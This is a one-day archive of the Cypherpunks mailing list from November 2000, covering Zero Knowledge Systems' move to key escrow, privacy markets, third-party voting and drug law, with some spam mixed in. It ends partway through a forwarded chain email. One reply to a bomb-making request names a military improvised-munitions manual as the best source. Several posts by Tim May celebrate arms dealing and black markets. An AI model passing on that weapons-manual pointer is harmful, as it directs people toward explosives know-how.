From petro at bounty.org Wed Nov 1 00:16:47 2000 From: petro at bounty.org (petro) Date: Wed, 1 Nov 2000 00:16:47 -0800 Subject: CDR: Re: Zero Knowledge changes business model to Split Key Escrow(NSA-Key (press release) In-Reply-To: References: Message-ID: >On Tue, 31 Oct 2000, Adam Shostack wrote: > >>On Tue, Oct 31, 2000 at 04:07:18PM +0100, cyphrpnk wrote: > >>| p.s. that freedom source code 2.0 for linux I was porting to BSD >>| I guess will go into the bit bucket!! 1984 speak my ass!! >> >>Sorry to hear that. I guess your porting the code isn't enough for >>you to trust it. Odd. >> >>Adam > >The trust issue is not the code, the trust issue is the company. >If he doesn't feel that the company is committed to maintaining >appropriate levels of privacy, he chooses not to expend labor in >support of the company's software. And he may trust version 2, >without trusting the company to produce a version 3 that he can >in good conscience recommend to anyone to use. > >I have designed and built code for free for people who told me >they were going to use it one way -- and sent it to /dev/null when I >discovered that they intended to use it another. It's as simple >as that. These days, I tend to restrict my coding-for-free effort >to projects that will be useful *only* in the ways I think are >beneficial to society at large, or to projects that, used by everyone >according to their own whim, will at least cause society more good >than harm. (Note, I did not say "nations" or "governments" or "The street finds it's own uses for things". -- "You have the right to remain helpless. Should you choose to waive this right, anything you do may be used against you in a court of law. You have the right to an assailant. If you cannot find one for yourself, the court will release one for you." --Steve Munden. From petro at bounty.org Wed Nov 1 00:28:56 2000 From: petro at bounty.org (petro) Date: Wed, 1 Nov 2000 00:28:56 -0800 Subject: CDR: Re: Zero Knowledge changes business model to Split Key Escrow(NSA-Key (press release) In-Reply-To: References: Message-ID: >(Loosely related to why so many folks fear gun registration: gun >registration often has led to gun confiscation.) Is there any known instance of explicit gun registration (not the back-door FBI keeping illegal records of "instant check" requests) that *hasn't* lead to at least some confiscations within 5 years of passage? -- A quote from Petro's Archives: ********************************************** "Despite almost every experience I've ever had with federal authority, I keep imagining its competence." John Perry Barlow From jacks at webcity.ca Wed Nov 1 00:59:07 2000 From: jacks at webcity.ca (jacks at webcity.ca) Date: Wed, 1 Nov 2000 00:59:07 Subject: CDR: toner cartridges Message-ID: <210.41418.524114@> Your Toner Cartidge Discount Depot Special savings on Laser Printer and Fax Toner Cartridges. Savings on Canon Personal Copier Cartridges. Cartridges offered are Hewlett Packard,Canon,Lexmark,Apple and Epson compatible products. For more Information please call: 1-888-248-2015 For E-mail removal please call: 1-888-248-4930 From petro at bounty.org Wed Nov 1 01:18:34 2000 From: petro at bounty.org (petro) Date: Wed, 1 Nov 2000 01:18:34 -0800 Subject: CDR: Re: Zero Knowledge changes business model (press release) In-Reply-To: References: <20001031130634.A15637@weathership.homeport.org> <4.3.0.20001031100154.01638920@mail.well.com> <20001031130634.A15637@weathership.homeport.org> <4.3.0.20001031165942.0165fba0@mail.well.com> Message-ID: Mr. May: >At 5:14 PM -0500 10/31/00, Declan McCullagh wrote: >>I spent perhaps half an hour on the phone with Austin Hill this >>afternoon. Here's what we discussed. >>... >>* ZKS will offer to store keys. "That includes us holding >>encryption keys." Austin described the key-splitting the same way >>Adam has here. He refused to say whether or not a third-party >>(Joe's Escrow Service) would ever hold keys. > >Except for the very specialized case of protecting against >loss/forgetting of passphrases and keys, it's hard to imagine how >Alice's privacy is ever enhanced by having a third party hold keys. Think of it in terms of privacy+access. Medical records are not "stateless", and are for many reasons not usually kept by the individual (or when they are, they are often kept by both the health care provider *and* the individual). Now, it I haven't thought this through all the way (and I'm not exactly a world class thinker) but I can see several possible "products" that might be marketable in a "privacy aware" marketplace: (1) A system were both the HCP key *and* one of Alice's key or TTP's key are necessary to read a medical record, but where only the hospitals key is necessary to write to the record. This would provide more privacy for Alice (or at least a combination of privacy and access logging) than exists under the current completely un-encrypted, accessible by almost anyone system that exists today. You might want the TTP to hold either a copy of Alice's key with a strong access logging system, or have a setup (If possible) were the Either Alice's or the TTP's key will decrypt/allow access for cases when you need access to Alice's information when she is unable to provide it (severe trauma or medical condition, dead, in an adversarial legal battle etc.). Medical records are not only Alice's record of what was done to her/wrong with her, but also the HCP's record of what they did. Yes, it would still be possible for someone to get the information through a print-screen or other ways. Total and complete security is a really tough nut. The goal may simply be to make it harder to leak information, or provide strong accountability to that information. (I worked in a Hospital in the early 90s. At that time it would have been trivial for me to look up anyone on the hospital computer system and order their chart, and return it with a "Oops, ordered the wrong number") (2) A system for larger HCP's like (for instance) Kaiser, or the hospital I used to work in, where a specific HCP within that system must cooperate with Alice to get *specifically* which parts of a record they need. By way of example, at a less monogamous point in my life, I was worried that I had contracted an STD (turns out I was wrong), and wanted to get it taken care of. The hospital where I worked (and had insurance) was not an option because they had one medical record on each patient, and, well, my mother worked there as a nurse in a department where I was being seen (occasionally) for a completely different problem. I wound up going somewhere else and paying out of pocket for the consultation. If there was the ability within the record keeping system for selective exposure of information, that could be handy. There is little reason for a Urologist to get access to your dental records. At least one would hope not. >If not this byzantine protocol, what? If Alice supplies personal >information to Bobco, he has it, period. A hospital, for example, >has this personal information. Hospitals leaking or selling or >sharing this information is indeed a pressing concern, but one not >readily solvable with technology. It's like the various schemes to >delete information before it can be saved to hard disk..these >schemes just don't work: if human eyes can see something, or if ears >can hear it, then cameras and sound capture cards and so on can >bypass the attempted erasures. At least part of the goal may be to meet "Due Diligence" tests. If a HCP/Accountant/Investment Broker takes reasonable precautions in protecting privacy, then it's that much harder for them to be sued for negligence. If they provide strong accountability procedures, and enforce them, then that slows leaks down. >Much of the press release was typical press release junk about >privacy being important, corporations seeking to fully maximize >their paradigms, etc., etc. But some of it talked about key >splitting and local laws, which is usually worrisome to paranoid >folks like us. It would be a rare company indeed that let the Techs correct the press releases. >>* ZKS appears to be targeting heavily-regulated areas like medical >>and financial sectors. They will come in, set up a >>privacy-protective system, perhaps provide some ongoing service, >>and (if so) collect ongoing fees. In those cases, "a consumer >>solution like Freedom allowing anonymity doesn't fit that market." > >"Collect ongoing fees." > >I'm not knocking free enterprise, but there are often problems with >business plans which seek to find ways to collect fees. > >The most successful companies I've seen have started with a product >idea, often already in prototype form (Cisco, Sun, Intel, Apple, >etc.) and have then gone very quickly into production. Having 100 >engineers working on Freedom, as was claimed today, and yet having >essentially no users of Freedom nyms visible a year later, >suggests... > >And moving toward a vague focus on solving customer privacy problems... > >Well, I have no reason to wish them poor luck. But it doesn't sound >too promising. I really do hope I'm wrong and that they provide >interesting products for customer privacy and do well with them. While not being particularly happy with ZKS (Mac/MacOSX port public, despite repeated assurances that "it is coming" (for what, 2 years now?)), There are many services that they could legitimately provide companies, such as "privacy procedure" auditing etc., either directly for the company, or as a "consultant" to one of the Management Consluting firms (Arthur Anderson, KPMG etc.). >There are some interesting "credentials without identity" protocols >which desperately need to be implemented. An example: a credential >which someone can present to a pharmacist which allows a drug, e.g, >an AIDS drug, to be picked up...without revealing identity. Alas, so >many pieces need to be put together to do this that it seems almost >hopeless; certainly a startup company cannot afford to spend the >many years it would take to deploy this kind of system. The problems with this aren't technical, but rather legal. Da Man insists that you present ID. Therefore the Pharmacy insists you present ID. Now, if that order were encrypted so that only you, *or* a TTP could reveal *who* picked up order # 3247834 for 60 tablets of vicodan, then you have, if not more privacy, at least a trail of accountability to who leaked it. >>* Tim below suggests that "Wouldn't a better approach be for Alice >>to protect her own privacy?" The answer, generally, is yes. I >>suspect the Brands patents can do much to that end. But Austin >>seems to be envisioning a market in which *some* third party in the >>transaction, be it a business, intermediary, or ZKS, possesses >>personal info about customers and only receives what is necessary. > >The first level of protection is for Alice to reveal as little as >she wishes and to not trust others with information which may damage >her. So she should not give out her passwords over the phone, or >online. And she should not reveal her AIDS diagnosis by buying AIDS >drugs at her local pharmacy. And she should not be ordering books on >bomb-making and terrorism through Amazon. > >However, once Alice has given Bob this damaging information, the jig >is up. Bob knows her passwords or her AIDS status or her preferences >in books, whatever. And Charles may know other things. And Dave >still other things. > >Now, can any protocol stop Bob and Charles and Dave from pooling >their information they each have collected on Alice? Nope. > >The point is to unlink Alice's identity with the items she >purchases, the medicines she needs, the books she buys. Which is why >remailers, digital cash, proxies, and suchlike are interesting. > >Perhaps ZKS is planning to unveil robust versions of all of these >things. If so, I applaud them. Part of the problem, at least in Medical and Financial "spaces" is that it's not only Alice and the Companies desires, but also the Feds desires. To provide *better* privacy than we have now until such time as we can get the government off our backs (either through reform or other means) is a possible money maker. And if making money doing one thing allows ZKS to pay for some "R&D" that helps get the second, I'm all for that. As soon as I get a Mac Freedom client, Damn it! (And yes, I'm willing to pay, I am just not willing to move to Canada to help write it (even if I were capable of such a thing)). -- A quote from Petro's Archives: ********************************************** "Despite almost every experience I've ever had with federal authority, I keep imagining its competence." John Perry Barlow From jacks at webcity.ca Wed Nov 1 01:52:03 2000 From: jacks at webcity.ca (jacks at webcity.ca) Date: Wed, 1 Nov 2000 01:52:03 Subject: CDR: toner cartridges Message-ID: <154.451811.587824@> Your Toner Cartidge Discount Depot Special savings on Laser Printer and Fax Toner Cartridges. Savings on Canon Personal Copier Cartridges. Cartridges offered are Hewlett Packard,Canon,Lexmark,Apple and Epson compatible products. For more Information please call: 1-888-248-2015 For E-mail removal please call: 1-888-248-4930 From Results at TVEyes.com Wed Nov 1 04:21:05 2000 From: Results at TVEyes.com (Results at TVEyes.com) Date: Wed, 1 Nov 2000 07:21:05 -0500 Subject: CDR: crypto Message-ID: <59EBFD05352BD411B71600D0B74739D1E345B1@maileyes.tveyes.com> Your keyword(s), crypto, was recently spoken on YTV during Kleo the Misfit Unicorn. Wednesday, Nov 1 2000 at 07:21 AM ......and don t forget about counting to ten i m not kidding dad i saw a unicorn talking to our bigfoot we re definitely two of a kind joey but i think our bigfoot find is enough for one trip dad are you sure you wanna give her to that crypto whatever place ...... For details, visit http://www.TVEyes.com/database/expand.asp?ln=2530645&Key=crypto Just follow the above link to keep your account active for this keyword. For total control of your keywords, go to http://www.tveyes.com/log_in.asp Get $200 in FREE Gasoline: no risk, no obligation! http://by.advertising.com/1/c/23066/7793// AOL users click here From ravage at ssz.com Wed Nov 1 05:29:59 2000 From: ravage at ssz.com (Jim Choate) Date: Wed, 1 Nov 2000 07:29:59 -0600 (CST) Subject: CDR: optical computing on /. Message-ID: An interesting article about 'decoherence free subspace' and how to use it to reduce the noise in QM computations. ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From netsurf at sersol.com Wed Nov 1 07:40:10 2000 From: netsurf at sersol.com (James Wilson) Date: Wed, 1 Nov 2000 07:40:10 -0800 Subject: CDR: FW: BLOCK: AT&T signs bulk hosting contract with spammers Message-ID: If any of you get services from AT&T you might want to start looking for a more ethical carrier (if one exists) - AT&T has been caught red handed hosting spammers and promising not to terminate their services. - James D. Wilson, CCDA, MCP "non sunt multiplicanda entia praeter necessitatem" William of Ockham (1285-1347/49) -----Original Message----- From: Spam Prevention Discussion List [mailto:SPAM-L at PEACH.EASE.LSOFT.COM]On Behalf Of Steve Linford Sent: Tuesday, October 31, 2000 1:16 PM To: SPAM-L at PEACH.EASE.LSOFT.COM Subject: BLOCK: AT&T signs bulk hosting contract with spammers (just sent this to AT&T, thought SPAM-L would like a copy) AT&T, The Spamhaus Project has just received a fax copy of a Bu lk Hos ting contract written and signed by AT&T and sent to a known spamhaus, NEVADA HOSTING (aka spammers Ronnie Scelson and Bruce Connelly, in ATT.NET block NETBLK-NEVADAHOSTING-242, 12.36.242.0 - 12.36.242.255) in which AT&T agrees to provide NEVADA HOSTING with Bu lk Hos ting for spamming purposes. A copy of this fax is now at http://spamhaus.org/rokso/nevadahosting.jpg This fax proves that AT&T knowingly does business with spammers, and shows that AT&T makes 'pink' contracts with known spammers to not terminate the spammers services knowing full well that the only way it can provide this service is to either ignore or bin spam complaints on such "bu lk hos ted" web sites. Here is an extract from the pink contract which says this: "NevadaHosting wishes to operate Bu lk Host ed Web Sites. Bu lk Hos ting is defined as hosting a web site that is Spammed from other gateways. NevadaHosting only hosts the web site that is advertized in the Spam. AT&T Agrees that it will not terminate the provision of services to NevadaHosting because of NevadaHosting's operation of Bu lk Hos ted Web Sites" AT&T Abuse will appreciate that I am now going to make this contract public, and of course it will be passed to the MAPS RBL team. Therefore it is very important that this communication is passed to AT&T Management now. -- Steve Linford The Spamhaus Project http://www.spamhaus.org From tcmay at got.net Wed Nov 1 08:35:15 2000 From: tcmay at got.net (Tim May) Date: Wed, 1 Nov 2000 08:35:15 -0800 Subject: CDR: Re: California bars free speech of those cutting deals on votes In-Reply-To: <39FFE706.5D522BE8@ccs.bbk.ac.uk> References: <39FFE706.5D522BE8@ccs.bbk.ac.uk> Message-ID: At 9:48 AM +0000 11/1/00, Ken Brown wrote: > >The same has, I suspect, been true of 3rd parties in the USA. You can't >judge their strength by their vote because many of their votes because >they are nearly always a vote *against* whoever seems most likely to get >in. And because genuine supporters, knowing their preferred candidate >won't get in, may pragmatically vote for the contender they consider >least damaging. As Tim pointed out the other day. We're not doing this >for fun. If there is a chance of getting someone in who will do less >real damage, vote for them. In the absence of revolution, amelioration >at least ameliorates. In the interest of full disclosure, I should say that I'm bouncing between voting for Bush as a "do the least damage" (on gun issues, tax issues, foreign affairs, etc.) and voting for Browne of the LP on "feelgood" issues. (In that I'll feel better in coming years being able to think to myself: "I didn't vote for that Bush clown...I voted my principles!") However, as any vote is of marginal importance, as with the amelioration issue you mention, I'm still undecided. Needless to say, neither Gore nor Nader are in my universe of choices, however. --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From bill.stewart at pobox.com Wed Nov 1 09:13:11 2000 From: bill.stewart at pobox.com (Bill Stewart) Date: Wed, 01 Nov 2000 09:13:11 -0800 Subject: CDR: RE: California bars free speech of those cutting deals on votes In-Reply-To: Message-ID: <3.0.5.32.20001101091311.009a9230@idiom.com> At 09:48 AM 11/1/00 -0500, Trei, Peter wrote: >All indications are that Carla Howell, the Libertarian challenger for >Kennedy's Senate seat, will handily out-poll the Republicans this year. I really like Carla - hope she does well. You'll probably also have a lot of Greens and liberal Democrats voting for Nader, which would be good except they're partly doing it for the campaign finance porkbarrel. Massachusetts looks like the kind of state that has more pot smokers than registered Republicans. Somebody ought to be able to use that.... Thanks! Bill Bill Stewart, bill.stewart at pobox.com PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 From tom at ricardo.de Wed Nov 1 00:30:14 2000 From: tom at ricardo.de (Tom Vogt) Date: Wed, 01 Nov 2000 09:30:14 +0100 Subject: CDR: Re: Ho to KICK OUT Junkbusters users References: <200010311713.LAA32175@manifold.algebra.com> Message-ID: <39FFD496.EA20B717@ricardo.de> Igor Chudov wrote: > I do not have the mania grandioza to believe that Junkbusters will > do anything just because Algebra.com found a smart ass way to detect their > users. the point is: if you find an easy way, others will likely copy it. therefore, it is likely that there will be a patch. From tom at ricardo.de Wed Nov 1 00:37:58 2000 From: tom at ricardo.de (Tom Vogt) Date: Wed, 01 Nov 2000 09:37:58 +0100 Subject: CDR: Re: Re: Visit a hacked site, loose your computers. References: <39FF2967.1F52E1E0@lsil.com> Message-ID: <39FFD666.7DEDDCB2@ricardo.de> mmotyka at lsil.com wrote: > > Wouldn't the time of the hack be pretty well known and wouldn't the RPI > firewall logs be timestamped or am I naive? > most likely that was a failed case of the assumption that the criminal always returns to the site of the crime. From ptrei at rsasecurity.com Wed Nov 1 06:48:36 2000 From: ptrei at rsasecurity.com (Trei, Peter) Date: Wed, 1 Nov 2000 09:48:36 -0500 Subject: CDR: RE: California bars free speech of those cutting deals on votes Message-ID: > ---------- > From: Ken Brown[SMTP:k.brown at ccs.bbk.ac.uk] > > The voters will be able to suss it out without a website. > [...] > The same has, I suspect, been true of 3rd parties in the USA. You can't > judge their strength by their vote because many of their votes because > they are nearly always a vote *against* whoever seems most likely to get > in. And because genuine supporters, knowing their preferred candidate > won't get in, may pragmatically vote for the contender they consider > least damaging. As Tim pointed out the other day. We're not doing this > for fun. If there is a chance of getting someone in who will do less > real damage, vote for them. In the absence of revolution, amelioration > at least ameliorates. [...] > Ken > I'd like to voice my agreement on this. Here in Massachusetts, the state is considered such a Democrat stronghold that we've seen almost zero campaigning by either major party (while this is usually considered a godsend, I'm starting to feel ignored :-). At the local level, Senator Ted Kennedy's seat is up for re-election, but Ted has such a lock on it that he isn't bothering to campaign. The state's Republicans have managed to self-destruct (their initial candidate withdrew, and Jack Robinson, the replacement who popped up at the last minute, has proved utterly without merit - the state party no longer supports him, and he's out of money). All indications are that Carla Howell, the Libertarian challenger for Kennedy's Senate seat, will handily out-poll the Republicans this year. As a result, my vote is immaterial to either major party, and I can happily vote my conscience without any fear that I'm helping throw the election to either Gush or Bore - both of whom I find utterly odious for intersecting sets of reasons. (Just in case you were wondering, I'm voting Libertarian). Peter Trei From k.brown at ccs.bbk.ac.uk Wed Nov 1 01:48:54 2000 From: k.brown at ccs.bbk.ac.uk (Ken Brown) Date: Wed, 01 Nov 2000 09:48:54 +0000 Subject: CDR: Re: California bars free speech of those cutting deals on votes References: Message-ID: <39FFE706.5D522BE8@ccs.bbk.ac.uk> The voters will be able to suss it out without a website. In the last UK general election about a couple of million voters very precisely voted either for whichever of the Labour (who won overall) or Liberal (came 3rd) candidates was most likely to beat the Conservatives (who were thereby hammered by the 1st-past-the post system). The Liberals (as usual) were bleating about having a chance to get into power, but in practice (as usual) they were used as a protest vote by those who couldn't bring themselves to vote Tory. The same has, I suspect, been true of 3rd parties in the USA. You can't judge their strength by their vote because many of their votes because they are nearly always a vote *against* whoever seems most likely to get in. And because genuine supporters, knowing their preferred candidate won't get in, may pragmatically vote for the contender they consider least damaging. As Tim pointed out the other day. We're not doing this for fun. If there is a chance of getting someone in who will do less real damage, vote for them. In the absence of revolution, amelioration at least ameliorates. But on the bright side - even without websites or any other visible vote-trading, enough people knew who to vote for to get the Tories out. The electorate *were* paying attention. In Brighton (my home town) all 3 seats went Labour because people knew they were the strongest non-Tory party (even Hove which had long had a reputation as one of the most conservative places in the country) - the Liberal vote hardly existed. In Lewes, only 8 miles away, enough people voted Liberal to get the Tories out & the Labour vote collapsed. Of course most oy you Americans probably won't think that electing a Labour government is a good idea - but that isn't the immediate point. The pleasantly surprising thing is that so many people were aware of the numbers and cast their vote accordingly. They *weren't* just listening to the TV or the parties. They thought about it and cast their vote intelligently in what they saw to be their own interests (in this case revenge on the party of Margaret Thatcher, easily the most hated British politician of the 20th century). Ken Tim May wrote: > > California has "shut down"--through a threatening letter--a site > which matches up folks who are willing to say they'll vote for Nader > in states where Gore is sure to win if other folks who had hoped to > vote for Nader will instead vote for Gore in order to help him in > swing states. > > (Sounds complicated. But it's really simple. "I'll scratch your back > if you scratch mine." No money is changing hands, no actual "ballots" > are being traded.) > > The Web site doing this is/was: http://www.voteswap2000.com/ > > The article on California's actions is: > http://dailynews.yahoo.com/h/nm/20001031/wr/campaign_traders_dc_1.html > > BTW, I just "expressed my preference" at the site: > http://Winchell.com/NaderTrader/default.asp > > No doubt I am even now more of a speech criminal. I wonder if a raid > is imminent. > > --Tim May > -- > ---------:---------:---------:---------:---------:---------:---------:---- > Timothy C. May | Crypto Anarchy: encryption, digital money, > ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero > W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, > "Cyphernomicon" | black markets, collapse of governments. From k.brown at ccs.bbk.ac.uk Wed Nov 1 02:22:25 2000 From: k.brown at ccs.bbk.ac.uk (Ken Brown) Date: Wed, 01 Nov 2000 10:22:25 +0000 Subject: CDR: Re: (no subject) References: <31.be2fb63.2730a047@aol.com> Message-ID: <39FFEEE1.67D16FFE@ccs.bbk.ac.uk> ShamrockAgent at aol.com wrote: > Could you posibly send me instructions on how to construct a bomb and what > materials that are needed? Thank you~ Yep. You need the following ingredients: a) One (1) human being with an at least average IQ b) One (1) public library (an ordinary school library would do) c) One (1) hardware store or garden centre or any other source of chemicals in kilogram quantities d) One (1) ordinary garage or workshop with basic DIY tools & materials Mix (a) & (b) together for as long as it takes to get a human being with science and/or technology education to at least high-school level. Then add (c) and (d) and stand well back. From steve at tightrope.demon.co.uk Wed Nov 1 02:26:01 2000 From: steve at tightrope.demon.co.uk (Steve Mynott) Date: Wed, 1 Nov 2000 10:26:01 +0000 Subject: CDR: Re: (no subject) In-Reply-To: ; from abs@squig.org on Tue, Oct 31, 2000 at 03:23:58PM -0800 References: <31.be2fb63.2730a047@aol.com> Message-ID: <20001101102601.B22221@tightrope.demon.co.uk> On Tue, Oct 31, 2000 at 03:23:58PM -0800, Alex B. Shepardsen wrote: > > Is there a "bomb-building FAQ" out there on the web that lists > cypherpunks at toad.com as the definitive place to ask these moronic > questions? Where do these people come from? My guess is that cyberpunks at toad.com is listed towards the top of some lame list of net resources used by 14 year old net newbies on AOL or the like. "dude it has like punk in it and cyber must be about making bombs" Ironically the best resource for this information is the US government's Improvised Munitions Handbook TM 31-210. The print edition is actually now banned from import into the UK. Ascii copies are "out there" which shows the futility of trying to suppress information in the 21st century. -- 1024/D9C69DF9 steve mynott steve at tightrope.demon.co.uk the only possible interpretation of any research whatever in the `social sciences' is: some do, some don't. -- ernest rutherford From tcmay at got.net Wed Nov 1 10:58:22 2000 From: tcmay at got.net (Tim May) Date: Wed, 1 Nov 2000 10:58:22 -0800 Subject: CDR: The Market for Privacy In-Reply-To: <4.3.0.20001101114106.0197edf0@mail.well.com> References: <4.3.0.20001101114106.0197edf0@mail.well.com> Message-ID: At 11:41 AM -0500 11/1/00, Declan McCullagh wrote: >http://www.wired.com/news/business/0,1367,39895,00.html > > Privacy Firm Tries New Gambit > by Declan McCullagh (declan at wired.com) > 2:00 a.m. Nov. 1, 2000 PST > > WASHINGTON -- Zero Knowledge Systems seems to have finally realized a > harsh truth: Internet users don't like to pay extra to protect their > privacy. This is a recurring theme, and one we've talked about many times. Fact is, most people don't think they need security. Most people don't even think they need backups. Until their hard disk crashes. And so on. It's a tough sell in either case. This is why the market for crypto and security and anonymity has tended to be at the "margins" of society: porn, warez, freedom fighting, etc. Such has it always been, such shall it always be. Targetting the mainstream is a tough sell. (The most widely-deployed bits of crypto are in places where huge deals were cut with browser makers, e.g., SSL, Verisign, etc. The customer is only vaguely aware that such things are happening. No sale to Joe Average is needed. Probably this is the way Web proxies will ultimately be sold.) ZKS was just one of many companies attempting to sell privacy tools to "Joe Average," and his little daughter Suzy Average (pictured in ZKS Freedom ads...). Well, Joe doesn't do much with his home computer except check some sites and maybe download a few porn images from Danni's Hotbox when Suzy has gone to bed and the wife is passed out on the sofa. _Could_ ZKS Freedom help Joe a little? Maybe, but it's not something even on his radar screen to worry about. His bigger concern is having Suzy or the wifey find the paltry pieces of porn he purloined. Or he's at work and his boss has just announced that several employees have been fired for using the company's networks for checking sports scores, downloading porn, usng Napster, etc. These are Joe Average's _real_ concerns about privacy. Cute ads about little girls needing their privacy probably won't sell ZKS Freedom to Joe Average. ZKS may do better by bundling Freedom with Danni's Hard Drive accounts! "Your porn is downloaded to you in "Plain Brown Wrapper" format, disguised to look like a marketing report containing the key words you specify. Your boss will think it's business, your wife will be bored." (No, I'm not suggesting this as any kind of real product. The market is just too small, and downloading porn or Napster songs at work is a lose for many good reasons. The proper solution is even more straightforward: only fools download porn at company sites, and they deserve to be fired. And if Joe Average doesn't have his own _personal_ computer at home, they're cheap enough. No reason Little Suzy should be doing her homework on the machine he has his porn on. And even if he does, encrypted partitions are trivial to set up. Plus, removable CD-RWs and Zips. "Zip--for when you don't want your porn discovered by your wife!") The second major use for privacy tools is preventing the "dossier society" effect, where one's words in alt.sex.gerbils are archived for all time and are seen by prospective employers, Senate confirmation panels, etc. This is a likely market for ZKS Freedom. Ah, except that utterly free and easy to use services like MyDeja and MyYahoo and suchlike are dominant in this application area ("space"). It is routine to see "aardvaark42 at mydeja.com" posts in nearly all newsgroups. While these are not cryptographically robust, it's unlikely these will ever be linked to true names. Especially as they may be set up on the fly, through proxies, etc. Still, some fraction of people will pay for Freedom-type nyms. Probably not $50 a year, as that is a significant fraction of their entire ISP bill. But not a lot of people. And they won't pay much. The real market for robust security and privacy tools is, as always, elsewhere. The _interesting_ market has always been for those who are--demonstrably!--willing to pay big bucks to get on a plane to fly to the Cayman Islands or Luxembourg to open an offshore account. For those who are actively interested in untraceable VISA cards. For those selling arms. For those trafficking in illegal thoughts. In short, for crypto anarchy. Not for fluff. Will the new ZKS business model work? Maybe. But as Simson Garfinkel points out in the article Declan wrote, this may take years to develop. Until then, tough sledding. MojoNation seems to be a lower burn-rate run at the real low hanging fruit. --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From tcmay at got.net Wed Nov 1 11:06:28 2000 From: tcmay at got.net (Tim May) Date: Wed, 1 Nov 2000 11:06:28 -0800 Subject: CDR: RE: California bars free speech of those cutting deals on votes In-Reply-To: References: Message-ID: At 1:14 PM -0500 11/1/00, Trei, Peter wrote: > > Bill Stewart[SMTP:bill.stewart at pobox.com] > > > Massachusetts looks like the kind of state that has >> more pot smokers than registered Republicans. >> Somebody ought to be able to use that.... >> >> Bill > > >Somebody is. Prop 8 would allow drug offenders (including low >level dealers) to opt for treatment over prison, and would >require all fines, seized funds, and profits from the sale of >stolen^H^H^H^H^H^Hforfeited property in drug cases to be >used to finance treatment. > >I think one other state has a similar proposition this year, and >another (New Mexico?) has had a similar law in place for a >while, to great success. California passed the Medical Marijuana Initiative (more than once, as I recall, as the Fedgov found "technicalities" to strike it down the first time it passed). No "interstate commerce" is involved (*), for most home-grown pot, and yet the Fedgov has asserted the claim that federal dietary laws take precedence over local dietary laws. (* As we know, the interstate commerce clause was oriented toward making sure that only the Federal government could imposes tariffs on goods moving between the states. This was to head off a flurry of opportunisitc tariffs imposed by the states. It had _nothing_ to do with the notion that if a book publisher, for example, ships books across state lines that the Federal government then has some means to regulate the content. This seems to be commonly misunderstood; not by Cypherpunks, but I'm repeating this just to make sure.) If these United States were functioning as intended, this and similar cases would go to the Supreme Court and the Court would find that the states cannot be told what to by the Fedgov in matters like this. But we have not been functioning as intended for most of the past century. --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From declan at well.com Wed Nov 1 08:41:11 2000 From: declan at well.com (Declan McCullagh) Date: Wed, 01 Nov 2000 11:41:11 -0500 Subject: CDR: Zero Knowledge, after poor software sales, tries new gambit Message-ID: <4.3.0.20001101114106.0197edf0@mail.well.com> http://www.wired.com/news/business/0,1367,39895,00.html Privacy Firm Tries New Gambit by Declan McCullagh (declan at wired.com) 2:00 a.m. Nov. 1, 2000 PST WASHINGTON -- Zero Knowledge Systems seems to have finally realized a harsh truth: Internet users don't like to pay extra to protect their privacy. The Montreal-based firm won acclaim for its sophisticated identity-cloaking techniques, but very few people appear to have paid the $49.95 a year to shield their online activities from prying eyes. That's not exactly a heartening prospect for a company with 250 employees to pay and $37 million in venture capital funds to justify -- especially when already high-strung investors have become nervous about Internet companies that have never made a profit. Zero Knowledge's solution: A kind of privacy consulting service it announced on Tuesday. Through it, the company hopes to capitalize on the growing privacy concerns of both consumers and businesses -- and, most importantly, finally enjoy some revenues. "This is a new focus for Zero Knowledge: helping businesses build in privacy technologies in how they deal with customer data flow," Austin Hill, co-founder and chief executive, said in a telephone interview. "As customer expectations have increased with privacy, and how governments have started to regulate some privacy standards ... all of a sudden, companies are having to think, 'Hold on, how do I build in privacy?'" Hill said. Hill and his staff of technologists -- including veterans like cryptologists Stefan Brands and Ian Goldberg -- aren't alone in eyeing the privacy-consulting business as a lucrative one. Many of the established consulting businesses such as PricewaterhouseCoopers and Ernst and Young offer privacy services. IBM launched such a business in 1998, and an Andersen Consulting representative says that privacy awareness is "a component of almost anything we do." [...] From declan at well.com Wed Nov 1 08:45:39 2000 From: declan at well.com (Declan McCullagh) Date: Wed, 01 Nov 2000 11:45:39 -0500 Subject: CDR: soft money (for what it's worth) Message-ID: <4.3.0.20001101114500.0197cdd0@mail.well.com> ----- Original Message ----- From: kim2048 at aol.com To: sascha at ex.com Sent: Tuesday, October 31, 2000 7:42 AM Subject: Fw: Soft Money... > Sascha --- you gotta see this. > > ----- Original Message ----- > From: xanna237 at aol.com > To: kim2048 at hotmail.com > Sent: Tuesday, October 31, 2000 7:41 AM > Subject: Soft Money... > > > > > > Kim, > > > > Hi There! > > > > Sorry for taking so long to email you back. I've been really > > busy---not just with schoolwork, either. And, no, I don't have a > > boyfriend. It's practically Election Day! And since this is my > > first time voting, participating and everything has been really > > important to me. > > > > Remember when John McCain visited my campus back in the spring, > > and I thought that his talk about campaign finance reform was > > pretty cool? Well, I've changed my mind. Reform would be nice, > > but right now the most important thing is the election. And this > > election is so close, it could really be decided by which > > campaign is able to run the most television advertisements. > > > > Which brings me to what I've been doing for the past few months. > > Which is, basically collecting soft money for the campaign and > > our candidates --- I call them Our Boys. And if anybody found > > out what I'm doing, there would be hell to pay. So I am totally > > trusting you to keep this to yourself, OK? > > > > Here's how it started: My father was a delegate at the convention > > this summer. I came along. It was amazing --- a whole week of > > partying and flirting. The food was fantastic. But I also > > listened to the speeches, and I really got energized, you know > 